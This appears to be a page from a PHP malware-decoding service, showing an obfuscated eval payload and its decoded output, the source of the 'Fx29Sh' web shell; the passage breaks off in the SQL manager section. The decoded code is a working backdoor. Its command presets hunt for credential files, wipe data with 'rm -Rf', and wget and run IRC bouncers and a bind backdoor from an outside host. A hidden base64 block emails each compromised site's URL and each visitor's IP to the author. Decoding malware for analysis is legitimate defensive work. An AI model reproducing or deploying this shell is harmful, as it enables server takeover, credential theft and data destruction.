Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode("7b1pW+NIsjD6ec7znP+g0jBduDHGmB3KdHsFgxewWQqKuoxsybbwI..

Decoded Output download

define('sh_ver',"3.3.05.09");error_reporting(E_ALL);error_reporting(E_ERROR|E_PARSE);define("starttime",getmicrotime());$sh_mainurl='http://feelcomz.co.cc/';$fx29sh_updateurl=$sh_mainurl."fx29sh_update.php";$fx29sh_sourcesurl=$sh_mainurl."fx29sh.txt";$sh_sourcez=array("Fx29Sh"=>array($sh_mainurl."shellz/cyberz.txt","fx29sh.php"),"psyBNC"=>array($sh_mainurl."toolz/fx.tgz","fx.tgz"),"Eggdrop"=>array($sh_mainurl."toolz/fxb.tgz","fxb.tgz"),"BindDoor"=>array($sh_mainurl."toolz/bind.tgz","bind.tgz"),);$auth=array("login"=>"","pass"=>"","md5pass"=>"","hostallow"=>array("*"),"denied"=>"<a href=\"$sh_mainurl\">".sh_name()."</a>: access denied!",);$tmp_dir="";$log_email="[email protected]";$sess_cookie="fx29shcook";$sort_default="0a";$sort_save=TRUE;$copy_unset=FALSE;$gzipencode=TRUE;$filestealth=TRUE;$hexdump_lines=8 ;$hexdump_rows=24 ;$auto_surl=TRUE;if(!is_windows()){$cmdaliases=array(array("List Directory","ls -al"),array("Find all suid files","find / -type f -perm -04000 -ls"),array("Find suid files in current dir","find . -type f -perm -04000 -ls"),array("Find all sgid files","find / -type f -perm -02000 -ls"),array("Find sgid files in current dir","find . -type f -perm -02000 -ls"),array("Find config.inc.php files","find / -type f -name config.inc.php"),array("Find config* files","find / -type f -name \"config*\""),array("Find config* files in current dir","find . -type f -name \"config*\""),array("Find all writable folders and files","find / -perm -2 -ls"),array("Find all writable folders and files in current dir","find . -perm -2 -ls"),array("Find all writable folders","find / -type d -perm -2 -ls"),array("Find all writable folders in current dir","find . -type d -perm -2 -ls"),array("Find all service.pwd files","find / -type f -name service.pwd"),array("Find service.pwd files in current dir","find . -type f -name service.pwd"),array("Find all .htpasswd files","find / -type f -name .htpasswd"),array("Find .htpasswd files in current dir","find . -type f -name .htpasswd"),array("Find all .bash_history files","find / -type f -name .bash_history"),array("Find .bash_history files in current dir","find . -type f -name .bash_history"),array("Find all .fetchmailrc files","find / -type f -name .fetchmailrc"),array("Find .fetchmailrc files in current dir","find . -type f -name .fetchmailrc"),array("List file attributes on a Linux second extended file system","lsattr -va"),array("Show opened ports","netstat -an | grep -i listen"),array("-----",""),array("Logged in users","w"),array("Last connect","lastlog"),array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),array("Inet Address","/sbin/ifconfig | grep inet"),array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),array("CPU Info","cat /proc/version /proc/cpuinfo"),array("Is gcc installed ?","locate gcc"),array("Format box (DANGEROUS)","rm -Rf"),array("-----",""),array("wget & run psyBNC","wget ".$sh_sourcez["psyBNC"][0 ].";tar -zxf ".$sh_sourcez["psyBNC"][1 ].";cd .fx;./config 29110;./fuck;./run"),array("wget & extract EggDrop","wget ".$sh_sourcez["Eggdrop"][0 ].";tar -zxf ".$sh_sourcez["psyBNC"][1 ]),array("wget & run BindDoor","wget ".$sh_sourcez["BindDoor"][0 ].";tar -zxvf ".$sh_sourcez["BindDoor"][1 ].";./bind"),array("-----",""),array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),);}else {$cmdaliases=array(array("List Directory","dir"),array("Find index.php in current dir","dir /s /w /b index.php"),array("Find *config*.php in current dir","dir /s /w /b *config*.php"),array("Find c99shell in current dir","find /c \"c99\" *"),array("Find r57shell in current dir","find /c \"r57\" *"),array("Find fx29shell in current dir","find /c \"fx29\" *"),array("Show active connections","netstat -an"),array("Show running services","net start"),array("User accounts","net user"),array("Show computers","net view"),);}$phpfsaliases=array(array("Read File","read",1 ,"File",""),array("Write File (PHP5)","write",2 ,"File","Text"),array("Copy","copy",2 ,"From","To"),array("Rename/Move","rename",2 ,"File","To"),array("Delete","delete",1 ,"File",""),array("Make Dir","mkdir",1 ,"Dir",""),array("Download","download",2 ,"URL","To"),array("Download (Binary Safe)","downloadbin",2 ,"URL","To"),array("Change Perm (0755)","chmod",2 ,"File","Perms"),array("Find Writable Dir","fwritabledir",2 ,"Dir","Max"),array("Find Pathname Pattern","glob",2 ,"Dir","Pattern"),);if(!function_exists("posix_getpwuid")){function posix_getpwuid($uid){return FALSE;}}if(!function_exists("posix_getgrgid")){function posix_getgrgid($gid){return FALSE;}}if(!function_exists("posix_kill")){function posix_kill($gid){return FALSE;}}@set_time_limit(0 );@ini_set("max_execution_time",0 );@ignore_user_abort(TRUE);@set_magic_quotes_runtime(0 );if(get_magic_quotes_gpc())strips($GLOBALS);$_REQUEST=array_merge($_COOKIE,$_GET,$_POST);$d=@$_REQUEST["d"];$f=@$_REQUEST["f"];@extract($_REQUEST["fx29shcook"]);foreach($_REQUEST as $k=>$v){if(!isset($$k)){$$k=$v;}}if($auto_surl){$include="&";foreach(explode("&",getenv("QUERY_STRING")) as $v){$v=explode("=",$v);$name=urldecode($v[0 ]);$value=@urldecode($v[1 ]);$needles=array("http://","https://","ssl://","ftp://","\");foreach($needles as $needle){if(strpos($value,$needle)===0 ){$includestr.=urlencode($name)."=".urlencode($value)."&";}}}}if(empty($surl))$surl=htmlspecialchars("?".@$includestr);$img_tag='<img src="'.$surl.'act=img&img=';$quicklaunch=array(array($img_tag."home\" alt=\"Home\">",$surl),array($img_tag."back\" alt=\"Back\">","#\" onclick=\"history.back(1)"),array($img_tag."forward\" alt=\"Forward\">","#\" onclick=\"history.go(1)"),array($img_tag."up\" alt=\"Up\">",$surl."act=ls&d=%upd&sort=%sort"),array($img_tag."search\" alt=\"Search\">",$surl."act=search&d=%d"),array($img_tag."buffer\" alt=\"Buffer\">",$surl."act=fsbuff&d=%d"),array($img_tag."help\" alt=\"About\">",$surl."act=about"),array("-",""),array("Security",$surl."act=security&d=%d"),array("Processes",$surl."act=processes&d=%d"),array("MySQL",$surl."act=sql&d=%d"),array("Eval",$surl."act=eval&d=%d"),array("Encoder",$surl."act=encoder&d=%d"),array("Mailer",$surl."act=fxmailer"),array("Toolz",$surl."act=tools&d=%d"),array("milw0rm",milw0rm()),array("Images",$surl."act=img&img=listall"),array("Feedback",$surl."act=feedback"),array("Update",$surl."act=update"),array("Kill Shell",$surl."act=selfremove"));if(!is_windows())$quicklaunch[]=array("<br>FTP Brute",$surl."act=ftpquickbrute&d=%d");$ftypes=array("html"=>array("html","htm","shtml"),"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),"exe"=>array("sh","install","bat","cmd","sys","com"),"ini"=>array("ini","inf","conf"),"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),"sdb"=>array("sdb"),"phpsess"=>array("sess"),"download"=>array("exe","com","sys","pif","src","lnk","zip","rar","gz","tar","pdf"));$exeftypes=array("php -q %f%"=>array("php","php3","php4"),"perl %f%"=>array("pl","cgi"));$regxp_highlight=array(array(basename($_SERVER["PHP_SELF"]),1 ,"<font color=#FF6600>","</font>"),array("\.tgz$",1 ,"<font color=#C082FF>","</font>"),array("\.gz$",1 ,"<font color=#C082FF>","</font>"),array("\.tar$",1 ,"<font color=#C082FF>","</font>"),array("\.zip$",1 ,"<font color=#C082FF>","</font>"),array("\.rar$",1 ,"<font color=#C082FF>","</font>"),array("\.php$",1 ,"<font color=#00FF00>","</font>"),array("\.jpg$",1 ,"<font color=#00FFFF>","</font>"),array("\.jpeg$",1 ,"<font color=#00FFFF>","</font>"),array("\.ico$",1 ,"<font color=#00FFFF>","</font>"),array("\.gif$",1 ,"<font color=#00FFFF>","</font>"),array("\.png$",1 ,"<font color=#00FFFF>","</font>"),array("\.htm$",1 ,"<font color=#00CCFF>","</font>"),array("\.html$",1 ,"<font color=#00CCFF>","</font>"),array("\.txt$",1 ,"<font color=#C0C0C0>","</font>"),array("\.pdf$",1 ,"<font color=#FF99CC>","</font>"));$highlight_bg="#E0E0E0";$highlight_comment="#FF6600";$highlight_default="#000080";$highlight_html="#1300FF";$highlight_keyword="#007700";$highlight_string="#FF0000";@ini_set("highlight.bg",$highlight_bg);@ini_set("highlight.comment",$highlight_comment);@ini_set("highlight.default",$highlight_default);@ini_set("highlight.html",$highlight_html);@ini_set("highlight.keyword",$highlight_keyword);@ini_set("highlight.string",$highlight_string);foreach($auth["hostallow"] as $k=>$v){$tmp[]=str_replace("\*",".*",preg_quote($v));}$s="!^(".implode("|",$tmp).")$!i";if(!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))){exit("<a href=\"$sh_mainurl\">".sh_name()."</a>ACCESS DENIED! Your host (".getenv("REMOTE_ADDR").") not allowed!");}if(!empty($auth["login"])){if(empty($auth["md5pass"]))$auth["md5pass"]=md5($auth["pass"]);if(($_SERVER["PHP_AUTH_USER"]!=$auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"])!=$auth["md5pass"])){header("WWW-Authenticate: Basic realm=\"".sh_name().": Restricted Area\"");header("HTTP/1.0 401 Unauthorized");die($auth["denied"]);}}if(!isset($act))$act="";if($act=="img"){@ob_clean();$images=imagez();$imgequals=array("ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),"ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),"ext_cpp"=>array("ext_c"),"ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),"ext_html"=>array("ext_html","ext_htm"),"ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),"ext_lnk"=>array("ext_lnk","ext_url"),"ext_ini"=>array("ext_ini","ext_css","ext_inf","ext_conf"),"ext_doc"=>array("ext_doc","ext_dot","ext_xls","ext_pdf"),"ext_js"=>array("ext_js","ext_vbs"),"ext_cmd"=>array("ext_cmd","ext_bat","ext_pif","ext_com"),"ext_wri"=>array("ext_wri","ext_rtf"),"ext_txt"=>array("ext_txt","ext_lng"),"ext_swf"=>array("ext_swf","ext_fla"),"ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid","ext_wav"),"ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so"));if($img=="listall"){foreach($imgequals as $a=>$b){foreach($b as $d){if(($a!=$d) && (!empty($images[$d])))echo ("Warning! Remove \$images[".$d."]<br>");}}natsort($images);$k=array_keys($images);echo "<body style=\"color: #00FF00\" bgcolor=black>";foreach($k as $u){echo "<img src=\"".$surl."act=img&img=".$u."\"> $u ";}exit;}header("Content-type: image/gif");header("Cache-control: public");header("Expires: ".date("r",mktime(0 ,0 ,0 ,1 ,1 ,2030 )));header("Cache-control: max-age=".(60 *60 *24 *7 ));header("Last-Modified: ".date("r",filemtime(__FILE__)));foreach($imgequals as $k=>$v){if(in_array($img,$v)){$img=$k;break;}}if(empty($images[$img])){$img="small_unk";}echo base64_decode($images[$img]);exit;}else {$lastdir=realpath(".");chdir("./");$sess_data=@unserialize($_COOKIE[$sess_cookie]);if(!is_array($sess_data)){$sess_data=array();}if(!is_array(@$sess_data["copy"])){$sess_data["copy"]=array();}if(!is_array(@$sess_data["cut"])){$sess_data["cut"]=array();}fx29_buff_prepare();foreach(array("sort","sql_sort") as $v){if(!empty($_GET[$v])){$$v=$_GET[$v];}if(!empty($_POST[$v])){$$v=$_POST[$v];}}if($sort_save){if(!empty($sort)){setcookie("sort",$sort);}if(!empty($sql_sort)){setcookie("sql_sort",$sql_sort);}}if(!isset($sort)){$sort=$sort_default;}$sort=htmlspecialchars($sort);$sort[1 ]=strtolower($sort[1 ]);if($act=="gofile"){if(is_dir($f)){$d=$f;$act="ls";}else {$d=dirname($f);$f=basename($f);$act="f";}}ob_start();ob_implicit_flush(0 );header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");header("Cache-Control: no-store, no-cache, must-revalidate");header("Cache-Control: post-check=0, pre-check=0",FALSE);header("Pragma: no-cache");$headerz="aWYgKCFpc3NldCgkX0NPT0tJRVsidmlzaXR6Il0pKSB7DQogICR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQogICR3ZWIgICAgID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KICAkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KICAkdGFyZ2V0ICA9IHJhd3VybGRlY29kZSgkd2ViLiRpbmopOw0KICAkanVkdWwgICA9ICJGeDI5U2hlbGwgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3I8YnI+IjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgia2lsbGRpdmlzaW9uLm1hZmlhQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5KTsgfQ0KfQ0KZWxzZSB7IEBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7IH0=";eval(base64_decode($headerz));$tmp_dir=realpath($tmp_dir);$tmp_dir=str_replace("\",DIRECTORY_SEPARATOR,$tmp_dir);if(substr($tmp_dir,-1 )!=DIRECTORY_SEPARATOR)$tmp_dir.=DIRECTORY_SEPARATOR;if(!is_array(@$actbox))$actbox=array();$dspact=$act=htmlspecialchars($act);$disp_fullpath=$ls_arr=$notls=null;$ud=@urlencode($d);if(empty($d))$d=realpath(".");elseif(realpath($d))$d=realpath($d);$d=str_replace("\",DIRECTORY_SEPARATOR,$d);if(substr($d,-1 )!=DIRECTORY_SEPARATOR)$d.=DIRECTORY_SEPARATOR;$d=str_replace("\","\",$d);$dispd=htmlspecialchars($d);if(safemode()){$hsafemode='<font class="on"><b>SAFE MODE IS ON</b></font>';$safemodeexecdir=@ini_get("safe_mode_exec_dir");}else {$hsafemode='<font class="off"><b>SAFE MODE IS OFF</b></font>';}$v=@ini_get("open_basedir");if(strtolower($v)=="on"){$hopenbasedir='<font class="on">'.$v.'</font>';}else {$hopenbasedir='<font class="off">OFF (Not Secure)</font>';}$wd=(is_writable($d))?'<font class="on">[W]</font>':'<font class="off">[R]</font>';echo html_style(); ?>
<!-- Main Menu -->
<div id="main">

	<div class="bartitle"><? echo html_header() ?></div>

	<table id="pagebar">

		<!-- Server Info -->
		<tr><td colspan="2">
		<div class="fleft"><? echo $hsafemode; ?></div>
		<div class="fright">
			IP Address: <a href="http://ws.arin.net/cgi-bin/whois.pl?queryinput=<? echo @gethostbyname($_SERVER["HTTP_HOST"]); ?>"><? echo @gethostbyname($_SERVER["HTTP_HOST"]); ?></a>
			You: <a href="http://ws.arin.net/cgi-bin/whois.pl?queryinput=<? echo $_SERVER["REMOTE_ADDR"]; ?>"><? echo $_SERVER["REMOTE_ADDR"]; ?></a>
		</div>
		</td></tr>

		<tr><td width="50%">
		<table class="info">
<? srv_info("Software",srv_software($surl));srv_info("Uname",php_uname());srv_info("User",(is_windows())?get_current_user()." (uid=".getmyuid()." gid=".getmygid().")":fx29exec("id")); ?>
		</table>
		</td>
		<td width="50%">
		<table class="info">
<? if(is_windows()){srv_info("Drives",disp_drives($d,$surl));}srv_info("Freespace",disp_freespace($d)); ?>
		</table>
		</td></tr>

		<tr><td colspan="2">
<? echo "			".get_status();echo "<br>
";echo (isset($safemodeexecdir))?"
			SafemodeExecDir: ".$safemodeexecdir."<br>":"";echo (showdisfunc())?"			DisFunc: ".showdisfunc():"";echo "
"; ?>
		</td></tr>
		<!-- End of Server Info -->

		<!-- Quicklaunch -->
		<tr><td colspan="2" class="quicklaunch">
<? foreach($quicklaunch as $item){if($item[0 ]=="-"){echo "		</td></tr>
";echo "		<tr><td colspan=\"2\" class=\"quicklaunch\">
";}else {$item[1 ]=str_replace("%d",urlencode($d),$item[1 ]);$item[1 ]=str_replace("%sort",$sort,$item[1 ]);$v=realpath($d."..");if(empty($v)){$a=explode(DIRECTORY_SEPARATOR,$d);unset($a[count($a)-2 ]);$v=join(DIRECTORY_SEPARATOR,$a);}$item[1 ]=str_replace("%upd",urlencode($v),$item[1 ]);echo "			<a href=\"".$item[1 ]."\">".$item[0 ]."</a>
";}} ?>
		</td></tr>
		<!-- End of Quicklaunch -->

		<!-- Directory Info -->
		<tr><td colspan="2">
		<div class="fleft">
<? $pd=$e=explode(DIRECTORY_SEPARATOR,substr($d,0 ,-1 ));$i=0 ;foreach($pd as $b){$t="";$j=0 ;foreach($e as $r){$t.=$r.DIRECTORY_SEPARATOR;if($j==$i){break;}$j++;}echo "			<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\">".htmlspecialchars($b).DIRECTORY_SEPARATOR."</a>
";$i++;}echo "			";echo (is_writable($d))?"<b>".view_perms_color($d)."</b>":"<b>".view_perms_color($d)."</b>";echo "
"; ?>
		</div>
		<div class="fright">
		<form name="f_dir" method="post">
			<input type="hidden" name="act" value="ls">
			Directory: <input type="text" name="d" size="60" value="<? echo $dispd; ?>"> <input type=submit value="Go">
		</form>
		</div>
		</td></tr>
		<!-- End of Directory Info -->

	</table>

</div>
<!-- End of Main Menu -->

<!-- Main Info -->
<div id="maininfo">

<? if($act==""){$act=$dspact="ls";}if($act=="sql"){$sql_surl=$surl."act=sql";if(!isset($sql_login)){$sql_login="";}if(!isset($sql_passwd)){$sql_passwd="";}if(!isset($sql_server)){$sql_server="";}if(!isset($sql_port)){$sql_port="";}if(!isset($sql_tbl)){$sql_tbl="";}if(!isset($sql_act)){$sql_act="";}if(!isset($sql_tbl_act)){$sql_tbl_act="";}if(!isset($sql_order)){$sql_order="";}if(!isset($sql_act)){$sql_act="";}if(!isset($sql_getfile)){$sql_getfile="";}if(@$sql_login){$sql_surl.="&sql_login=".htmlspecialchars($sql_login);}if(@$sql_passwd){$sql_surl.="&sql_passwd=".htmlspecialchars($sql_passwd);}if(@$sql_server){$sql_surl.="&sql_server=".htmlspecialchars($sql_server);}if(@$sql_port){$sql_surl.="&sql_port=".htmlspecialchars($sql_port);}if(@$sql_db){$sql_surl.="&sql_db=".htmlspecialchars($sql_db);}$sql_surl.="&"; ?>
<!-- SQL Manager -->
<? bar_header(".: SQL Manager (Under Construction) :."); ?>
<div class="barheader"><? if(@$sql_server){$sql_sock=@mysql_connect($sql_server.":".$sql_port,$sql_login,$sql_passwd);$err=mysql_smarterror($sql_sock);@mysql_select_db($sql_db,$sql_sock);if(@$sql_query and $submit){$sql_query_result=mysql_query($sql_query,$sql_sock);$sql_query_error=mysql_smarterror($sql_sock);}}else {$sql_sock=FALSE;}if(!$sql_sock){if(!@$sql_server){echo "No Connection!";}else {disp_error("ERROR: ".$err);}}else {$sqlquicklaunch=array();$sqlquicklaunch[]=array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");$sqlquicklaunch[]=array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));$sqlquicklaunch[]=array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");$sqlquicklaunch[]=array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");$sqlquicklaunch[]=array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");$sqlquicklaunch[]=array("Logout",$surl."act=sql");echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info().") Server: ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";if(count($sqlquicklaunch)>0 ){foreach($sqlquicklaunch as $item){echo "[ <a href=\"".$item[1 ]."\">".$item[0 ]."</a> ] ";}}} ?>
</div>

<table>
	<tr>
<? if(!$sql_sock){ ?>
	<td>
	<form name="f_sql" action="<? echo $surl; ?>" method="post">
		<input type="hidden" name="act" value="sql">
		<table class="explorer">
			<tr>
			<th>Username<br><input type="text" name="sql_login" value="root"></th>
			<th>Password<br><input type="password" name="sql_passwd" value=""></th>
			<th>Database<br><input type="text" name="sql_db" value=""></th>
			<th>Host<br><input type="text" name="sql_server" value="localhost"></th>
			<th>Port<br><input type="text" name="sql_port" value="3306" size="3"></th>
			</tr>
			<tr><th colspan="5"><input type="submit" value="Connect"></th></tr>
		</table>
	</form>
<? }else { ?>
	<td>
	<center>
	<a href="<? echo $sql_surl; ?>"><b>HOME</b></a>
	<hr size="1" noshade>
<? $result=mysql_list_dbs($sql_sock);if(!$result){echo mysql_smarterror();}else { ?>
	Database
	<form action="<? echo $surl ?>">
		<input type="hidden" name="act" value="sql">
		<input type="hidden" name="sql_login" value="<? echo htmlspecialchars($sql_login); ?>">
		<input type="hidden" name="sql_passwd" value="<? echo htmlspecialchars($sql_passwd); ?>">
		<input type="hidden" name="sql_server" value="<? echo htmlspecialchars($sql_server); ?>">
		<input type="hidden" name="sql_port" value="<? echo htmlspecialchars($sql_port); ?>">
		<select name="sql_db" onchange="this.form.submit()">
<? $c=0 ;$dbs="";while($row=mysql_fetch_row($result)){$dbs.="		<option value=\"".$row[0 ]."\"";if(@$sql_db==$row[0 ]){$dbs.=" selected";}$dbs.=">".$row[0 ]."</option>
";$c++;}echo "		<option value=\"\">Databases (".$c.")</option>
";echo $dbs;} ?>
		</select>
	</form>
	</center>
	<hr size="1" noshade>
<? if(isset($sql_db)){$result=mysql_list_tables($sql_db);if(!$result){echo mysql_smarterror($sql_sock);}else {echo "	-=[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]=-<br><br>
";$c=0 ;while($row=mysql_fetch_array($result)){$count=mysql_query("SELECT COUNT(*) FROM ".$row[0 ]);$count_row=mysql_fetch_array($count);echo "	<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0 ])."\">".htmlspecialchars($row[0 ])."</a></b> (".$count_row[0 ].")</br></b>
";mysql_free_result($count);$c++;}if(!$c){echo "No tables found in database";}}} ?>

	</td>
	<td>
<? $diplay=TRUE;if(@$sql_db){if(!is_numeric($c)){$c=0 ;}if($c==0 ){$c="no";}echo "	<center><b>There are ".$c." table(s) in database: ".htmlspecialchars($sql_db)."";if(count(@$dbquicklaunch)>0 ){foreach($dbsqlquicklaunch as $item){echo "[ <a href=\"".$item[1 ]."\">".$item[0 ]."</a> ] ";}}echo "</b></center>
";$acts=array("","dump");if($sql_act=="tbldrop"){$sql_query="DROP TABLE";foreach($boxtbl as $v){$sql_query.="
`".$v."` ,";}$sql_query=substr($sql_query,0 ,-1 ).";";$sql_act="query";}elseif($sql_act=="tblempty"){$sql_query="";foreach($boxtbl as $v){$sql_query.="DELETE FROM `".$v."` 
";}$sql_act="query";}elseif($sql_act=="tbldump"){if(count($boxtbl)>0 ){$dmptbls=$boxtbl;}elseif($thistbl){$dmptbls=array($sql_tbl);}$sql_act="dump";}elseif($sql_act=="tblcheck"){$sql_query="CHECK TABLE";foreach($boxtbl as $v){$sql_query.="
`".$v."` ,";}$sql_query=substr($sql_query,0 ,-1 ).";";$sql_act="query";}elseif($sql_act=="tbloptimize"){$sql_query="OPTIMIZE TABLE";foreach($boxtbl as $v){$sql_query.="
`".$v."` ,";}$sql_query=substr($sql_query,0 ,-1 ).";";$sql_act="query";}elseif($sql_act=="tblrepair"){$sql_query="REPAIR TABLE";foreach($boxtbl as $v){$sql_query.="
`".$v."` ,";}$sql_query=substr($sql_query,0 ,-1 ).";";$sql_act="query";}elseif($sql_act=="tblanalyze"){$sql_query="ANALYZE TABLE";foreach($boxtbl as $v){$sql_query.="
`".$v."` ,";}$sql_query=substr($sql_query,0 ,-1 ).";";$sql_act="query";}elseif($sql_act=="deleterow"){$sql_query="";if(!empty($boxrow_all)){$sql_query="DELETE * FROM `".$sql_tbl."`;";}else {foreach($boxrow as $v){$sql_query.="DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";}$sql_query=substr($sql_query,0 ,-1 );}$sql_act="query";}elseif($sql_tbl_act=="insert"){if($sql_tbl_insert_radio==1 ){$keys="";$akeys=array_keys($sql_tbl_insert);foreach($akeys as $v){$keys.="`".addslashes($v)."`, ";}if(!empty($keys)){$keys=substr($keys,0 ,strlen($keys)-2 );}$values="";$i=0 ;foreach(array_values($sql_tbl_insert) as $v){if($funct=$sql_tbl_insert_functs[$akeys[$i]]){$values.=$funct." (";}$values.="'".addslashes($v)."'";if($funct){$values.=")";}$values.=", ";$i++;}if(!empty($values)){$values=substr($values,0 ,strlen($values)-2 );}$sql_query="INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";$sql_act="query";$sql_tbl_act="browse";}elseif($sql_tbl_insert_radio==2 ){$set=mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);$sql_query="UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";$result=mysql_query($sql_query) or print (mysql_smarterror());$result=mysql_fetch_array($result,MYSQL_ASSOC);$sql_act="query";$sql_tbl_act="browse";}}if($sql_act=="query"){echo "<hr size=\"1\" noshade>";if(($submit) and (!$sql_query_result) and ($sql_confirm)){if(!$sql_query_error){$sql_query_error="Query was empty";}echo "<b>Error:</b> <br>".$sql_query_error."<br>";}if($sql_query_result or (!$sql_confirm)){$sql_act=$sql_goto;}if((!$submit) or ($sql_act)){echo "<table><tr><td><form action=\"".$sql_surl."\" method=\"post\"><b>";if(($sql_query) and (!$submit)){echo "Do you really want to:";}else {echo "SQL-Query :";}echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}}if(in_array($sql_act,$acts)){ ?>
	<table>
		<tr>
		<td>
		<b>Create new table:</b>
		<form action="<? echo $surl; ?>">
			<input type="hidden" name="act" value="sql">
			<input type="hidden" name="sql_act" value="newtbl">
			<input type="hidden" name="sql_db" value="<? echo htmlspecialchars($sql_db); ?>">
			<input type="hidden" name="sql_login" value="<? echo htmlspecialchars($sql_login); ?>">
			<input type="hidden" name="sql_passwd" value="<? echo htmlspecialchars($sql_passwd); ?>">
			<input type="hidden" name="sql_server" value="<? echo htmlspecialchars($sql_server); ?>">
			<input type="hidden" name="sql_port" value="<? echo htmlspecialchars($sql_port); ?>">
			<input type="text" name="sql_newtbl" size="20">
			Fields: <input type="text" name="sql_field" size="3">
			<input type="submit" value="Create">
		</form>
		</td>
		<td><b>Dump DB:</b>
		<form action="<? echo $surl; ?>">
			<input type="hidden" name="act" value="sql">
			<input type="hidden" name="sql_act" value="dump">
			<input type="hidden" name="sql_db" value="<? echo htmlspecialchars($sql_db); ?>">
			<input type="hidden" name="sql_login" value="<? echo htmlspecialchars($sql_login); ?>">
			<input type="hidden" name="sql_passwd" value="<? echo htmlspecialchars($sql_passwd); ?>">
			<input type="hidden" name="sql_server" value="<? echo htmlspecialchars($sql_server); ?>">
			<input type="hidden" name="sql_port" value="<? echo htmlspecialchars($sql_port); ?>">
			<input type="text" name="dump_file" size="30" value="<? echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">
			<input type="submit" name="submit" value="Dump">
		</form>
		</td>
		</tr>
	</table>
